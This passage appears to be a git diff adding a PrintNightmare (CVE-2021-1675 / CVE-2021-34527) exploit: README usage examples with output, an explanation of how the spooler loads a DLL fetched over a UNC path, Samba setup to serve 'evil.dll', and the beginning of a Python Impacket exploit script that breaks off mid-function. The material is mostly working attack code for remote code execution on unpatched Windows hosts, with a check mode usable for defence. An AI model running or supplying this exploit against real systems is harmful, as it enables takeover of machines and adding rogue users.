||||||
|
|
||||||
|
modes:
|
||||||
|
-check Check if target is vulnerable
|
||||||
|
-list List existing printer drivers
|
||||||
|
-delete Deletes printer driver
|
||||||
|
```
|
||||||
|
|
||||||
|
### Examples
|
||||||
|
|
||||||
|
#### Exploitation
|
||||||
|
|
||||||
|
##### Remote DLL
|
||||||
|
```bash
|
||||||
|
$ ./printnightmare.py -dll '\\172.16.19.1\smb\add_user.dll' 'user:Passw0rd@172.16.19.128'
|
||||||
|
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
|
||||||
|
|
||||||
|
[*] Enumerating printer drivers
|
||||||
|
[*] Driver name: 'Microsoft XPS Document Writer v5'
|
||||||
|
[*] Driver path: 'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_18b0d38ddfaee729\\Amd64\\UNIDRV.DLL'
|
||||||
|
[*] DLL path: '\\\\172.16.19.1\\smb\\add_user.dll'
|
||||||
|
[*] Copying over DLL
|
||||||
|
[*] Successfully copied over DLL
|
||||||
|
[*] Trying to load DLL
|
||||||
|
[*] Successfully loaded DLL
|
||||||
|
```
|
||||||
|
|
||||||
|
##### Local DLL
|
||||||
|
```bash
|
||||||
|
$ ./printnightmare.py -dll 'C:\Windows\System32\spool\drivers\x64\3\old\1\add_user.dll' 'user:Passw0rd@172.16.19.128'
|
||||||
|
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
|
||||||
|
|
||||||
|
[*] Enumerating printer drivers
|
||||||
|
[*] Driver name: 'Microsoft XPS Document Writer v5'
|
||||||
|
[*] Driver path: 'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_18b0d38ddfaee729\\Amd64\\UNIDRV.DLL'
|
||||||
|
[*] DLL path: 'C:\\Windows\\System32\\spool\\drivers\\x64\\3\\old\\1\\add_user.dll'
|
||||||
|
[*] Loading DLL
|
||||||
|
[*] Successfully loaded DLL
|
||||||
|
```
|
||||||
|
|
||||||
|
Notice that the local DLL example doesn't abuse CVE-2021-34527 to copy over the DLL.
|
||||||
|
|
||||||
|
##### Custom name
|
||||||
|
```bash
|
||||||
|
$ ./printnightmare.py -dll '\\172.16.19.1\smb\add_user.dll' -name 'My Printer Driver' 'user:Passw0rd@172.16.19.128'
|
||||||
|
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
|
||||||
|
|
||||||
|
[*] Enumerating printer drivers
|
||||||
|
[*] Driver name: 'My Printer Driver'
|
||||||
|
[*] Driver path: 'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_18b0d38ddfaee729\\Amd64\\UNIDRV.DLL'
|
||||||
|
[*] DLL path: '\\\\172.16.19.1\\smb\\add_user.dll'
|
||||||
|
[*] Copying over DLL
|
||||||
|
[*] Successfully copied over DLL
|
||||||
|
[*] Trying to load DLL
|
||||||
|
[*] Successfully loaded DLL
|
||||||
|
|
||||||
|
$ ./printnightmare.py -list 'user:Passw0rd@172.16.19.128'
|
||||||
|
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
|
||||||
|
|
||||||
|
[*] Enumerating printer drivers
|
||||||
|
Name: Microsoft XPS Document Writer v4
|
||||||
|
Environment: Windows x64
|
||||||
|
Driver path: C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_18b0d38ddfaee729\Amd64\mxdwdrv.dll
|
||||||
|
Data file: C:\Windows\System32\DriverStore\FileRepository\prnms001.inf_amd64_f340cb58fcd23202\MXDW.gpd
|
||||||
|
Config file: C:\Windows\System32\DriverStore\FileRepository\prnms003.inf_amd64_9bf7e0c26ba91f8b\Amd64\PrintConfig.dll
|
||||||
|
Version: 4
|
||||||
|
----------------------------------------------------------------
|
||||||
|
Name: Microsoft Print To PDF
|
||||||
|
Environment: Windows x64
|
||||||
|
Driver path: C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_18b0d38ddfaee729\Amd64\mxdwdrv.dll
|
||||||
|
Data file: C:\Windows\System32\DriverStore\FileRepository\prnms009.inf_amd64_80184dcbef6775bc\MPDW-PDC.xml
|
||||||
|
Config file: C:\Windows\System32\DriverStore\FileRepository\prnms003.inf_amd64_9bf7e0c26ba91f8b\Amd64\PrintConfig.dll
|
||||||
|
Version: 4
|
||||||
|
----------------------------------------------------------------
|
||||||
|
Name: My Printer Driver
|
||||||
|
Environment: Windows x64
|
||||||
|
Driver path: C:\Windows\system32\spool\DRIVERS\x64\3\UNIDRV.DLL
|
||||||
|
Data file: C:\Windows\system32\spool\DRIVERS\x64\3\add_user.dll
|
||||||
|
Config file: C:\Windows\system32\spool\DRIVERS\x64\3\add_user.dll
|
||||||
|
Version: 3
|
||||||
|
----------------------------------------------------------------
|
||||||
|
Name: Microsoft Shared Fax Driver
|
||||||
|
Environment: Windows x64
|
||||||
|
Driver path: C:\Windows\system32\spool\DRIVERS\x64\3\FXSDRV.DLL
|
||||||
|
Data file: C:\Windows\system32\spool\DRIVERS\x64\3\FXSUI.DLL
|
||||||
|
Config file: C:\Windows\system32\spool\DRIVERS\x64\3\FXSUI.DLL
|
||||||
|
Version: 3
|
||||||
|
----------------------------------------------------------------
|
||||||
|
Name: Microsoft enhanced Point and Print compatibility driver
|
||||||
|
Environment: Windows x64
|
||||||
|
Driver path: C:\Windows\system32\spool\DRIVERS\x64\3\mxdwdrv.dll
|
||||||
|
Data file: C:\Windows\system32\spool\DRIVERS\x64\3\unishare.gpd
|
||||||
|
Config file: C:\Windows\system32\spool\DRIVERS\x64\3\PrintConfig.dll
|
||||||
|
Version: 3
|
||||||
|
----------------------------------------------------------------
|
||||||
|
```
|
||||||
|
|
||||||
|
#### Check if target is vulnerable
|
||||||
|
|
||||||
|
##### Unpatched Windows 10
|
||||||
|
```bash
|
||||||
|
$ ./printnightmare.py -check 'user:Passw0rd@172.16.19.128'
|
||||||
|
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
|
||||||
|
|
||||||
|
[*] Target appears to be vulnerable!
|
||||||
|
```
|
||||||
|
|
||||||
|
##### Patched Windows Server 2022
|
||||||
|
```bash
|
||||||
|
$ ./printnightmare.py -check 'user:Passw0rd@172.16.19.135'
|
||||||
|
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
|
||||||
|
|
||||||
|
[!] Target does not appear to be vulnerable
|
||||||
|
```
|
||||||
|
|
||||||
|
#### List current printer drivers
|
||||||
|
|
||||||
|
```bash
|
||||||
|
$ ./printnightmare.py -list 'user:Passw0rd@172.16.19.135'
|
||||||
|
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
|
||||||
|
|
||||||
|
[*] Enumerating printer drivers
|
||||||
|
Name: Microsoft XPS Document Writer v4
|
||||||
|
Environment: Windows x64
|
||||||
|
Driver path: C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_075615bee6f80a8d\Amd64\mxdwdrv.dll
|
||||||
|
Data file: C:\Windows\System32\DriverStore\FileRepository\prnms001.inf_amd64_8bc7809b71930efc\MXDW.gpd
|
||||||
|
Config file: C:\Windows\System32\DriverStore\FileRepository\prnms003.inf_amd64_c9865835eff4a608\Amd64\PrintConfig.dll
|
||||||
|
Version: 4
|
||||||
|
----------------------------------------------------------------
|
||||||
|
Name: Microsoft Print To PDF
|
||||||
|
Environment: Windows x64
|
||||||
|
Driver path: C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_075615bee6f80a8d\Amd64\mxdwdrv.dll
|
||||||
|
Data file: C:\Windows\System32\DriverStore\FileRepository\prnms009.inf_amd64_6dc3549941ff1a57\MPDW-PDC.xml
|
||||||
|
Config file: C:\Windows\System32\DriverStore\FileRepository\prnms003.inf_amd64_c9865835eff4a608\Amd64\PrintConfig.dll
|
||||||
|
Version: 4
|
||||||
|
----------------------------------------------------------------
|
||||||
|
Name: Microsoft enhanced Point and Print compatibility driver
|
||||||
|
Environment: Windows x64
|
||||||
|
Driver path: C:\Windows\system32\spool\DRIVERS\x64\3\mxdwdrv.dll
|
||||||
|
Data file: C:\Windows\system32\spool\DRIVERS\x64\3\unishare.gpd
|
||||||
|
Config file: C:\Windows\system32\spool\DRIVERS\x64\3\PrintConfig.dll
|
||||||
|
Version: 3
|
||||||
|
----------------------------------------------------------------
|
||||||
|
```
|
||||||
|
|
||||||
|
#### Delete printer driver
|
||||||
|
|
||||||
|
May require administrative privileges.
|
||||||
|
|
||||||
|
```bash
|
||||||
|
$ ./printnightmare.py -delete -name 'Microsoft XPS Document Writer v5' 'administrator:Passw0rd@172.16.19.128'
|
||||||
|
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
|
||||||
|
|
||||||
|
[*] Deleted printer driver!
|
||||||
|
```
|
||||||
|
|
||||||
|
## Details
|
||||||
|
|
||||||
|
PrintNightmare consists of two CVE's, CVE-2021-1675 / CVE-2021-34527.
|
||||||
|
|
||||||
|
### CVE-2021-1675
|
||||||
|
|
||||||
|
A non-administrative user is allowed to add a new printer driver. This vulnerability was fixed by only allowing administrators to add new printer drivers. A patched version of the print spooler will return `RPC_E_ACCESS_DENIED` (Code: `0x8001011b`) if a non-administrator tries to add a new printer driver.
|
||||||
|
|
||||||
|
### CVE-2021-34527
|
||||||
|
|
||||||
|
When [adding a new printer driver](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/b96cc497-59e5-4510-ab04-5484993b259b), the `pDataFile` parameter in the [DRIVER_CONTAINER](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/3a3f9cf7-8ec4-4921-b1f6-86cf8d139bc2) allows UNC paths. The DLL specified in `pDataFile` will however **not** be loaded, *but* it will get copied over to a local path allowing us to create a new printer driver with the `pConfigFile` parameter pointing to the local path which will load the DLL. A patched version of the printer spooler will return `ERROR_INVALID_PARAMETER` (Code: `0x57`)
|
||||||
|
|
||||||
|
### Combining the pieces
|
||||||
|
|
||||||
|
Only CVE-2021-1675 is needed if the malicious DLL is already located on the target.
|
||||||
|
|
||||||
|
For PrintNightmare, if the DLL is not a local path, then CVE-2021-34527 can be used to fetch the DLL via UNC paths. For that reason, it is necessary to serve the DLL over SMB. If you're not familiar with SMB and UNC, read the following subsection.
|
||||||
|
|
||||||
|
When creating a new printer driver, the DLL in the `pDataFile` parameter will **not** be loaded for security reasons. However, it *will* be copied over to `C:\Windows\system32\spool\drivers\x64\3\`. Then, we could create a new printer driver that uses `pConfigFile` (which will load the DLL) with the local path. However, the DLL is in use by the first printer driver when creating the second printer driver. Instead, we could overwrite the first printer driver, which will make the printer driver's DLLs get copied over to `C:\Windows\system32\spool\drivers\x64\3\old\<I>\`, where `<I>` is incremented for each DLL. Now we can create a third printer driver that will use the local path `C:\Windows\system32\spool\drivers\x64\3\old\<I>\`, since the DLL is no longer used. Now it's just a matter of guessing `<I>` which will start incrementing from `1`.
|
||||||
|
|
||||||
|
Note that the DLL will keep its filename locally, so if you initially run the exploit with `foo.dll` and it gets saved to `C:\Windows\system32\spool\drivers\x64\3\old\1\foo.dll` and you then change the contents of `foo.dll` locally and run the exploit again and it now gets saved to `C:\Windows\system32\spool\drivers\x64\3\old\5\foo.dll`, then the original `foo.dll` will be used since it is located in `C:\Windows\system32\spool\drivers\x64\3\old\1\foo.dll`. Instead, simply change the filename if you change the contents of the DLL.
|
||||||
|
|
||||||
|
#### SMB and UNC
|
||||||
|
|
||||||
|
In short, a UNC path is a path to a file or folder on a network rather than a local file, and it contains the server name and path. For instance, the UNC path `\\10.0.0.2\files\foo.txt` is a file `foo.txt` that is served from the `files` share of the server `10.0.0.2`. Usually, a share is served over SMB, but WebDAV is also supported. To create an SMB share on Linux, the easiest and most reliable way is to use the `Samba` package.
|
||||||
|
|
||||||
|
To install `Samba` with `apt`:
|
||||||
|
```bash
|
||||||
|
$ sudo apt install samba
|
||||||
|
```
|
||||||
|
|
||||||
|
Edit the `/etc/samba/smb.conf` and add the following at the end of the file:
|
||||||
|
```
|
||||||
|
[smb]
|
||||||
|
comment = Samba
|
||||||
|
path = /tmp/share
|
||||||
|
guest ok = yes
|
||||||
|
read only = yes
|
||||||
|
browsable = yes
|
||||||
|
force user = nobody
|
||||||
|
```
|
||||||
|
|
||||||
|
This will create a new share called `smb` and serve the files inside `/tmp/share`. It allows for anonymous access, and the local user `nobody` will be used to browse the files.
|
||||||
|
|
||||||
|
Then start the Samba service by doing:
|
||||||
|
```bash
|
||||||
|
$ sudo service smbd start
|
||||||
|
```
|
||||||
|
|
||||||
|
Suppose your Linux machine has the IP `192.168.1.100` and you wish to serve the `evil.dll`, then the UNC path in this scenario will be `\\192.168.1.100\smb\evil.dll`.
|
||||||
|
|
||||||
|
## Authors
|
||||||
|
- [@ly4k](https://github.com/ly4k)
|
||||||
|
|
||||||
|
## Credits
|
||||||
|
- [@cube0x0](https://github.com/cube0x0)'s [implementation](https://github.com/cube0x0/CVE-2021-1675)
|
||||||
|
- [Impacket](https://github.com/SecureAuthCorp/impacket)
|
|
@ -0,0 +1,760 @@
|
||||||
|
#!/usr/bin/python3
|
||||||
|
#
|
||||||
|
# PrintNightmare (CVE-2021-1675 / CVE-2021-34527)
|
||||||
|
#
|
||||||
|
# Authors:
|
||||||
|
# @ly4k (https://github.com/ly4k)
|
||||||
|
#
|
||||||
|
# Credit:
|
||||||
|
# @cube0x0 (https://github.com/cube0x0)
|
||||||
|
#
|
||||||
|
# Description:
|
||||||
|
# PrintNightmare implementation using standard Impacket
|
||||||
|
#
|
||||||
|
# PrintNightmare consists of two CVE's, CVE-2021-1675 & CVE-2021-34527.
|
||||||
|
#
|
||||||
|
# CVE-2021-1675
|
||||||
|
# A non-administrator user is allowed to add a new printer driver.
|
||||||
|
# This vulnerability was fixed by only allowing administrators to
|
||||||
|
# add a new printer driver. A patched printer spooler will return RPC_E_ACCESS_DENIED
|
||||||
|
# whenever a non-administrator tries to add a new printer driver.
|
||||||
|
#
|
||||||
|
# CVE-2021-34527
|
||||||
|
# When creating a new printer driver, the pDriverPath and pConfigFile parameters
|
||||||
|
# are checked for UNC paths, and is only allowed to be local paths. However,
|
||||||
|
# the pDataFile parameter is not constrained to local paths. Only pDriverPath and pConfigFile
|
||||||
|
# will be loaded for security reaons, not pDataFile. This vulnerability was fixed by not allowing
|
||||||
|
# UNC paths in the pDataFile parameter. A patched printer spooler will return ERROR_INVALID_PARAMETER
|
||||||
|
# when using a UNC path in pDataFile.
|
||||||
|
#
|
||||||
|
# This exploit also works with a local path instead of an UNC path.
|
||||||
|
|
||||||
|
import sys
|
||||||
|
import logging
|
||||||
|
import argparse
|
||||||
|
import pathlib
|
||||||
|
|
||||||
|
from impacket import system_errors, version
|
||||||
|
from impacket.dcerpc.v5.rpcrt import DCERPCException
|
||||||
|
from impacket.structure import Structure
|
||||||
|
from impacket.examples import logger
|
||||||
|
from impacket.examples.utils import parse_target
|
||||||
|
from impacket.dcerpc.v5 import transport, rprn
|
||||||
|
from impacket.dcerpc.v5.ndr import NDRCALL, NDRPOINTER, NDRSTRUCT, NDRUNION, NULL
|
||||||
|
from impacket.dcerpc.v5.dtypes import DWORD, LPWSTR, ULONG, WSTR
|
||||||
|
from impacket.dcerpc.v5.rprn import (
|
||||||
|
checkNullString,
|
||||||
|
STRING_HANDLE,
|
||||||
|
PBYTE_ARRAY,
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
class DCERPCSessionError(DCERPCException):
|
||||||
|
def __init__(self, error_string=None, error_code=None, packet=None):
|
||||||
|
DCERPCException.__init__(self, error_string, error_code, packet)
|
||||||
|
|
||||||
|
def __str__(self):
|
||||||
|
key = self.error_code
|
||||||
|
if key in system_errors.ERROR_MESSAGES:
|
||||||
|
error_msg_short = system_errors.ERROR_MESSAGES[key][0]
|
||||||
|
error_msg_verbose = system_errors.ERROR_MESSAGES[key][1]
|
||||||
|
return "RPRN SessionError: code: 0x%x - %s - %s" % (
|
||||||
|
self.error_code,
|
||||||
|
error_msg_short,
|
||||||
|
error_msg_verbose,
|
||||||
|
)
|
||||||
|
else:
|
||||||
|
return "RPRN SessionError: unknown error code: 0x%x" % self.error_code
|
||||||
|
|
||||||
|
|
||||||
|
################################################################################
|
||||||
|
# CONSTANTS
|
||||||
|
################################################################################
|
||||||
|
# MS-RPRN - 3.1.4.4.8
|
||||||
|
APD_COPY_ALL_FILES = 0x00000004
|
||||||
|
APD_COPY_FROM_DIRECTORY = 0x00000010
|
||||||
|
APD_INSTALL_WARNED_DRIVER = 0x00008000
|
||||||
|
|
||||||
|
# MS-RPRN - 3.1.4.4.7
|
||||||
|
DPD_DELETE_UNUSED_FILES = 0x00000001
|
||||||
|
|
||||||
|
# https://docs.microsoft.com/en-us/windows/win32/com/com-error-codes-3
|
||||||
|
RPC_E_ACCESS_DENIED = 0x8001011B
|
||||||
|
system_errors.ERROR_MESSAGES[RPC_E_ACCESS_DENIED] = (
|
||||||
|
"RPC_E_ACCESS_DENIED",
|
||||||
|
"Access is denied.",
|
||||||
|
)
|
||||||
|
|
||||||
|
################################################################################
|
||||||
|
# STRUCTURES
|
||||||
|
################################################################################
|
||||||
|
# MS-RPRN - 2.2.1.5.1
|
||||||
|
class DRIVER_INFO_1(NDRSTRUCT):
|
||||||
|
structure = (("pName", STRING_HANDLE),)
|
||||||
|
|
||||||
|
|
||||||
|
class PDRIVER_INFO_1(NDRPOINTER):
|
||||||
|
referent = (("Data", DRIVER_INFO_1),)
|
||||||
|
|
||||||
|
|
||||||
|
# MS-RPRN - 2.2.1.5.2
|
||||||
|
class DRIVER_INFO_2(NDRSTRUCT):
|
||||||
|
structure = (
|
||||||
|
("cVersion", DWORD),
|
||||||
|
("pName", LPWSTR),
|
||||||
|
("pEnvironment", LPWSTR),
|
||||||
|
("pDriverPath", LPWSTR),
|
||||||
|
("pDataFile", LPWSTR),
|
||||||
|
("pConfigFile", LPWSTR),
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
class PDRIVER_INFO_2(NDRPOINTER):
|
||||||
|
referent = (("Data", DRIVER_INFO_2),)
|
||||||
|
|
||||||
|
|
||||||
|
class DRIVER_INFO_2_BLOB(Structure):
|
||||||
|
structure = (
|
||||||
|
("cVersion", "<L"),
|
||||||
|
("NameOffset", "<L"),
|
||||||
|
("EnvironmentOffset", "<L"),
|
||||||
|
("DriverPathOffset", "<L"),
|
||||||
|
("DataFileOffset", "<L"),
|
||||||
|
("ConfigFileOffset", "<L"),
|
||||||
|
)
|
||||||
|
|
||||||
|
def __init__(self, data=None):
|
||||||
|
Structure.__init__(self, data=data)
|
||||||
|
|
||||||
|
def fromString(self, data, offset=0):
|
||||||
|
Structure.fromString(self, data)
|
||||||
|
|
||||||
|
name = data[self["NameOffset"] + offset :].decode("utf-16-le")
|
||||||
|
name_len = name.find("\0")
|
||||||
|
self["Name"] = checkNullString(name[:name_len])
|
||||||
|
|
||||||
|
self["ConfigFile"] = data[
|
||||||
|
self["ConfigFileOffset"] + offset : self["DataFileOffset"] + offset
|
||||||
|
].decode("utf-16-le")
|
||||||
|
self["DataFile"] = data[
|
||||||
|
self["DataFileOffset"] + offset : self["DriverPathOffset"] + offset
|
||||||
|
].decode("utf-16-le")
|
||||||
|
self["DriverPath"] = data[
|
||||||
|
self["DriverPathOffset"] + offset : self["EnvironmentOffset"] + offset
|
||||||
|
].decode("utf-16-le")
|
||||||
|
self["Environment"] = data[
|
||||||
|
self["EnvironmentOffset"] + offset : self["NameOffset"] + offset
|
||||||
|
].decode("utf-16-le")
|
||||||
|
|
||||||
|
|
||||||
|
class DRIVER_INFO_2_ARRAY(Structure):
|
||||||
|
def __init__(self, data=None, pcReturned=None):
|
||||||
|
Structure.__init__(self, data=data)
|
||||||
|
self["drivers"] = list()
|
||||||
|
remaining = data
|
||||||
|
if data is not None:
|
||||||
|
for _ in range(pcReturned):
|
||||||
|
attr = DRIVER_INFO_2_BLOB(remaining)
|
||||||
|
self["drivers"].append(attr)
|
||||||
|
remaining = remaining[len(attr) :]
|
||||||
|
|
||||||
|
|
||||||
|
class DRIVER_INFO_UNION(NDRUNION):
|
||||||
|
commonHdr = (("tag", ULONG),)
|
||||||
|
union = {
|
||||||
|
1: ("pNotUsed", PDRIVER_INFO_1),
|
||||||
|
2: ("Level2", PDRIVER_INFO_2),
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
# MS-RPRN - 3.1.4.1.8.3
|
||||||
|
class DRIVER_CONTAINER(NDRSTRUCT):
|
||||||
|
structure = (
|
||||||
|
("Level", DWORD),
|
||||||
|
("DriverInfo", DRIVER_INFO_UNION),
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
################################################################################
|
||||||
|
# RPC CALLS
|
||||||
|
################################################################################
|
||||||
|
# MS-RPRN - 3.1.4.4.2
|
||||||
|
class RpcEnumPrinterDrivers(NDRCALL):
|
||||||
|
opnum = 10
|
||||||
|
structure = (
|
||||||
|
("pName", STRING_HANDLE),
|
||||||
|
("pEnvironment", LPWSTR),
|
||||||
|
("Level", DWORD),
|
||||||
|
("pDrivers", PBYTE_ARRAY),
|
||||||
|
("cbBuf", DWORD),
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
class RpcEnumPrinterDriversResponse(NDRCALL):
|
||||||
|
structure = (
|
||||||
|
("pDrivers", PBYTE_ARRAY),
|
||||||
|
("pcbNeeded", DWORD),
|
||||||
|
("pcReturned", DWORD),
|
||||||
|
("ErrorCode", ULONG),
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
# MS-RPRN - 3.1.4.4.8
|
||||||
|
class RpcAddPrinterDriverEx(NDRCALL):
|
||||||
|
opnum = 89
|
||||||
|
structure = (
|
||||||
|
("pName", STRING_HANDLE),
|
||||||
|
("pDriverContainer", DRIVER_CONTAINER),
|
||||||
|
("dwFileCopyFlags", DWORD),
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
class RpcAddPrinterDriverExResponse(NDRCALL):
|
||||||
|
structure = (("ErrorCode", ULONG),)
|
||||||
|
|
||||||
|
|
||||||
|
# MS-RPRN - 3.1.4.4.7
|
||||||
|
class RpcDeletePrinterDriverEx(NDRCALL):
|
||||||
|
opnum = 84
|
||||||
|
structure = (
|
||||||
|
("pName", STRING_HANDLE),
|
||||||
|
("pEnvironment", WSTR),
|
||||||
|
("pDriverName", WSTR),
|
||||||
|
("dwDeleteFlag", DWORD),
|
||||||
|
("dwVersionNum", DWORD),
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
class RpcDeletePrinterDriverExResponse(NDRCALL):
|
||||||
|
structure = (("ErrorCode", ULONG),)
|
||||||
|
|
||||||
|
|
||||||
|
################################################################################
|
||||||
|
# OPNUMs and their corresponding structures
|
||||||
|
################################################################################
|
||||||
|
OPNUMS = {
|
||||||
|
10: (RpcEnumPrinterDrivers, RpcEnumPrinterDriversResponse),
|
||||||
|
84: (RpcDeletePrinterDriverEx, RpcDeletePrinterDriverExResponse),
|
||||||
|
89: (RpcAddPrinterDriverEx, RpcAddPrinterDriverExResponse),
|
||||||
|
}
|
||||||
|
|
||||||
|
################################################################################
|
||||||
|
# HELPER FUNCTIONS
|
||||||
|
################################################################################
|
||||||
|
def hRpcEnumPrinterDrivers(dce, pName, pEnvironment, Level):
|
||||||
|
request = RpcEnumPrinterDrivers()
|
||||||
|
request["pName"] = checkNullString(pName)
|
||||||
|
request["pEnvironment"] = checkNullString(pEnvironment)
|
||||||
|
request["Level"] = Level
|
||||||
|
request["pDrivers"] = NULL
|
||||||
|
request["cbBuf"] = 0
|
||||||
|
|
||||||
|
try:
|
||||||
|
dce.request(request)
|
||||||
|
except DCERPCSessionError as e:
|
||||||
|
if str(e).find("ERROR_INSUFFICIENT_BUFFER") < 0:
|
||||||
|
raise
|
||||||
|
bytesNeeded = e.get_packet()["pcbNeeded"]
|
||||||
|
|
||||||
|
request = RpcEnumPrinterDrivers()
|
||||||
|
|
||||||
|
request["pName"] = checkNullString(pName)
|
||||||
|
request["pEnvironment"] = checkNullString(pEnvironment)
|
||||||
|
request["Level"] = Level
|
||||||
|
request["pDrivers"] = b"\0" * bytesNeeded
|
||||||
|
request["cbBuf"] = bytesNeeded
|
||||||
|
|
||||||
|
return dce.request(request)
|
||||||
|
|
||||||
|
|
||||||
|
def hRpcAddPrinterDriverEx(dce, pName, pDriverContainer, dwFileCopyFlags):
|
||||||
|
request = RpcAddPrinterDriverEx()
|
||||||
|
|
||||||
|
request["pName"] = checkNullString(pName)
|
||||||
|
request["pDriverContainer"] = pDriverContainer
|
||||||
|
request["dwFileCopyFlags"] = dwFileCopyFlags
|
||||||
|
|
||||||
|
return dce.request(request)
|
||||||
|
|
||||||
|
|
||||||
|
def hRpcDeletePrinterDriverEx(
|
||||||
|
dce, pName, pEnvironment, pDriverName, dwDeleteFlag, dwVersionNum
|
||||||
|
):
|
||||||
|
request = RpcDeletePrinterDriverEx()
|
||||||
|
|
||||||
|
request["pName"] = checkNullString(pName)
|
||||||
|
request["pEnvironment"] = checkNullString(pEnvironment)
|
||||||
|
request["pDriverName"] = checkNullString(pDriverName)
|
||||||
|
request["dwDeleteFlag"] = dwDeleteFlag
|
||||||
|
request["dwVersionNum"] = dwVersionNum
|
||||||
|
|
||||||
|
return dce.request(request)
|
||||||
|
|
||||||
|
|
||||||
|
################################################################################
|
||||||
|
# PrintNightmare
|
||||||
|
################################################################################
|
||||||
|
class PrintNightmare:
|
||||||
|
def __init__(
|
||||||
|
self,
|
||||||
|
username="",
|
||||||
|
password="",
|
||||||
|
domain="",
|
||||||
|
hashes=None,
|
||||||
|
port=135,
|
||||||
|
remote_name="",
|
||||||
|
target_ip="",
|
||||||
|
do_kerberos=False,
|
||||||
|
dc_host="",
|
||||||
|
):
|
||||||
|
self.username = username
|
||||||
|
self.password = password
|
||||||
|
self.domain = domain
|
||||||
|
self.lmhash = ""
|
||||||
|
self.nthash = ""
|
||||||
|
self.port = port
|
||||||
|
self.remote_name = remote_name
|
||||||
|
self.target_ip = target_ip
|
||||||
|
self.do_kerberos = do_kerberos
|
||||||
|
self.dc_host = dc_host
|
||||||
|
|
||||||
|
if hashes is not None:
|
||||||
|
hashes = hashes.split(":")
|
||||||
|
if len(hashes) == 1:
|
||||||
|
(nthash,) = hashes
|
||||||
|
self.lmhash = self.nthash = nthash
|
||||||
|
else:
|
||||||
|
self.lmhash, self.nthash = hashes
|
||||||
|
|
||||||
|
def connect(self):
|
||||||
|
# Connect and bind to MS-RPRN (https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/848b8334-134a-4d02-aea4-03b673d6c515)
|
||||||
|
stringbinding = r"ncacn_np:%s[\PIPE\spoolss]" % self.remote_name
|
||||||
|
|
||||||
|
logging.debug("Binding to %s" % (repr(stringbinding)))
|
||||||
|
|
||||||
|
rpctransport = transport.DCERPCTransportFactory(stringbinding)
|
||||||
|
|
||||||
|
rpctransport.set_credentials(
|
||||||
|
self.username,
|
||||||
|
self.password,
|
||||||
|
self.domain,
|
||||||
|
self.lmhash,
|
||||||
|
self.nthash,
|
||||||
|
)
|
||||||
|
|
||||||
|
rpctransport.set_kerberos(self.do_kerberos, kdcHost=self.dc_host)
|
||||||
|
|
||||||
|
rpctransport.setRemoteHost(self.target_ip)
|
||||||
|
rpctransport.set_dport(self.port)
|
||||||
|
|
||||||
|
try:
|
||||||
|
dce = rpctransport.get_dce_rpc()
|
||||||
|
|
||||||
|
# Connect to spoolss named pipe
|
||||||
|
dce.connect()
|
||||||
|
|
||||||
|
# Bind to MSRPC MS-RPRN UUID: 12345678-1234-ABCD-EF00-0123456789AB
|
||||||
|
dce.bind(rprn.MSRPC_UUID_RPRN)
|
||||||
|
except Exception as e:
|
||||||
|
logging.error("Failed to bind: %s" % e)
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
logging.debug("Bind OK")
|
||||||
|
|
||||||
|
return dce
|
||||||
|
|
||||||
|
def getDriverPath(self, dce, environment):
|
||||||
|
# List current drivers to find the 'FileDirectory' directory
|
||||||
|
# This directory has some unique parts of the full path
|
||||||
|
# 'UNIDRV.DLL' is a default printer driver DLL
|
||||||
|
drivers = self.list(environment, dce)
|
||||||
|
|
||||||
|
for driver in drivers:
|
||||||
|
if "filerepository" in driver["DriverPath"].lower():
|
||||||
|
return (
|
||||||
|
str(pathlib.PureWindowsPath(driver["DriverPath"]).parent)
|
||||||
|
+ r"\UNIDRV.DLL"
|
||||||
|
)
|
||||||
|
|
||||||
|
logging.error("Failed to find printer drivers. See -list")
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
def list(self, environment, dce=None):
|
||||||
|
# Use RpcEnumPrinterDrivers to get existing printer drivers
|
||||||
|
logging.info("Enumerating printer drivers")
|
||||||
|
|
||||||
|
if dce == None:
|
||||||
|
dce = self.connect()
|
||||||
|
|
||||||
|
resp = hRpcEnumPrinterDrivers(dce, NULL, environment, 2)
|
||||||
|
blobs = DRIVER_INFO_2_ARRAY(b"".join(resp["pDrivers"]), resp["pcReturned"])
|
||||||
|
drivers = blobs["drivers"]
|
||||||
|
|
||||||
|
return drivers
|
||||||
|
|
||||||
|
def delete(self, environment, name):
|
||||||
|
# Use RpcDeletePrinterDriverEx to delete printer driver
|
||||||
|
# and associated ununsed files. This will only delete the remote
|
||||||
|
# DLL. May require administrative privileges
|
||||||
|
dce = self.connect()
|
||||||
|
|
||||||
|
try:
|
||||||
|
hRpcDeletePrinterDriverEx(
|
||||||
|
dce, NULL, environment, name, DPD_DELETE_UNUSED_FILES, 0
|
||||||
|
)
|
||||||
|
except DCERPCSessionError as e:
|
||||||
|
logging.error("Failed to delete printer driver: %s" % e)
|
||||||
|
sys.exit(1)
|
||||||
|
except DCERPCException as e:
|
||||||
|
if e.error_code == system_errors.ERROR_ACCESS_DENIED:
|
||||||
|
logging.error(
|
